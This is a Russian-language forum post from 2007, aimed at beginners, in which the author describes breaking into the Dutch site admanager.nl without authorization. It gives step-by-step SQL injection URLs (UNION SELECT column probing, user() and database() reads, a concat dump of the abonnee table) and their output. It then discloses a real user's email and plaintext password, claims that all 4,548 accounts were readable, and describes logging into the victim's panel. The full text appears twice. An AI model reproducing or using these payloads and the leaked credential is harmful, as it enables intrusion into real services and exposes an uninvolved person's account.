p-range
07.01.2007, 17:44
Title: Взлом admanager.nl
Author: p-range
Date: 7.01.2007
[intro]
От нечего делать решил потестить на безопасность какой-нибудь забугорный сайтец.
Уже не помню как ко мне в руки попал admanager.nl, но в результате банальной sql-injection баги, я получил доступ ко всем логинам и паролям в их сервисе.
[action]
Зашел на сайт, и первым делом начал пhосматривать ссылки в меню. Меня привлекла ссылка такого вида:
http://admanager.nl/online/page.php?id=12
Не трудно догадаться что я сделал дальше. Я открыл новую страницу и ввел урл:
http://admanager.nl/online/page.php?id=11
Затем http://admanager.nl/online/page.php?id=12-1
Результатом была страница, такаяже как и при id=11. Значит присутствует sql-injection.
Далее я пытался подобрать поля.
http://admanager.nl/online/page.php?id=-12+union+select+1/*
Ответ скрипта:
Fatal error: Call to a member function FetchRow() on a non-object in /home/admanager/admanager.nl/online/page.php on line 16
Перебираем дальше
http://admanager.nl/online/page.php?id=-12+union+select+1,2,3,4/*
Поля подобраны, на странице вывелись числа 2 и 3, смотрим текущего юзера и бд:
http://admanager.nl/online/page.php?id=-12+union+select+1,user(),database(),4/*
Результат запроса:
user() - admanager@192.168.10.1
database() - admanager
Пробую заглянуть в таблицу mysql.user. Но доступ закрыт =\
LOAD_FILE() тоже ни к чему не привел. Опция file_priv в таблице mysql.user была выключена для текущего юзера.
Ладно, мне нужно подобрать таблицу с юзерами. Несколько минут подбора так ни к чему не привели.
Тут я решил посмотреть на систему авторизации. Ввел наугад мыло и пароль в форму. Скрипт выдал ошибку о неудачном логине:
Inloggen als abonnee
Deze gegevens zijn niet juist. Probeer het nogmaals.
Я конечно не знаю этого языка, но из первой строчки сразу выделил фразу Inloggen als abonnee.
Тут я попробовал слово abonnee в качестве названия таблицы. И увидел что такая таблица существует. Теперь мне нужно было угадать поля эмейла и пароля в abonnee.
После стандартных вариаций на email, password, я решил заглянуть в исходник страницы и посмотреть форму для ввода.
<form action="../online/abonnee_login.php" method="post" name="frmLoginNavigation">
<input type="text" name="abEmail" value="" size=15 class="form">
<input type="password" name="abWachtwoord" size=15 class="form">
<input type='submit' value='Login' class="form">
</form>
Из формы видно что скрипту abonnee_login.php передаются значения abEmail и abWachtwoord необходимые для авторизации.
Я подставил abEmail и abWachtwoord в запрос.
http://admanager.nl/online/page.php?id=-12+union+select+1,2,concat(abEmail,0x3a,abWachtwoo rd),4+from+abonnee+limit+0,1/*
И получил первую запись email и пасс из таблицы:
mklerx@eid.nl:mk99eu
Да, да, пасс в открытом виде о_О
От нечего делать limit'ом перебрал количество пользователей. Всего 4548.
Вошел в панель управления под юзером mklerx@eid.nl.
Пошарился и понял что ничего интересного там нет =\
Вот и все.
greatz to: ice1k
P.S.: новичкам посвящается ;)
Author: p-range
Date: 7.01.2007
[intro]
От нечего делать решил потестить на безопасность какой-нибудь забугорный сайтец.
Уже не помню как ко мне в руки попал admanager.nl, но в результате банальной sql-injection баги, я получил доступ ко всем логинам и паролям в их сервисе.
[action]
Зашел на сайт, и первым делом начал пhосматривать ссылки в меню. Меня привлекла ссылка такого вида:
http://admanager.nl/online/page.php?id=12
Не трудно догадаться что я сделал дальше. Я открыл новую страницу и ввел урл:
http://admanager.nl/online/page.php?id=11
Затем http://admanager.nl/online/page.php?id=12-1
Результатом была страница, такаяже как и при id=11. Значит присутствует sql-injection.
Далее я пытался подобрать поля.
http://admanager.nl/online/page.php?id=-12+union+select+1/*
Ответ скрипта:
Fatal error: Call to a member function FetchRow() on a non-object in /home/admanager/admanager.nl/online/page.php on line 16
Перебираем дальше
http://admanager.nl/online/page.php?id=-12+union+select+1,2,3,4/*
Поля подобраны, на странице вывелись числа 2 и 3, смотрим текущего юзера и бд:
http://admanager.nl/online/page.php?id=-12+union+select+1,user(),database(),4/*
Результат запроса:
user() - admanager@192.168.10.1
database() - admanager
Пробую заглянуть в таблицу mysql.user. Но доступ закрыт =\
LOAD_FILE() тоже ни к чему не привел. Опция file_priv в таблице mysql.user была выключена для текущего юзера.
Ладно, мне нужно подобрать таблицу с юзерами. Несколько минут подбора так ни к чему не привели.
Тут я решил посмотреть на систему авторизации. Ввел наугад мыло и пароль в форму. Скрипт выдал ошибку о неудачном логине:
Inloggen als abonnee
Deze gegevens zijn niet juist. Probeer het nogmaals.
Я конечно не знаю этого языка, но из первой строчки сразу выделил фразу Inloggen als abonnee.
Тут я попробовал слово abonnee в качестве названия таблицы. И увидел что такая таблица существует. Теперь мне нужно было угадать поля эмейла и пароля в abonnee.
После стандартных вариаций на email, password, я решил заглянуть в исходник страницы и посмотреть форму для ввода.
<form action="../online/abonnee_login.php" method="post" name="frmLoginNavigation">
<input type="text" name="abEmail" value="" size=15 class="form">
<input type="password" name="abWachtwoord" size=15 class="form">
<input type='submit' value='Login' class="form">
</form>
Из формы видно что скрипту abonnee_login.php передаются значения abEmail и abWachtwoord необходимые для авторизации.
Я подставил abEmail и abWachtwoord в запрос.
http://admanager.nl/online/page.php?id=-12+union+select+1,2,concat(abEmail,0x3a,abWachtwoo rd),4+from+abonnee+limit+0,1/*
И получил первую запись email и пасс из таблицы:
mklerx@eid.nl:mk99eu
Да, да, пасс в открытом виде о_О
От нечего делать limit'ом перебрал количество пользователей. Всего 4548.
Вошел в панель управления под юзером mklerx@eid.nl.
Пошарился и понял что ничего интересного там нет =\
Вот и все.
greatz to: ice1k
P.S.: новичкам посвящается ;)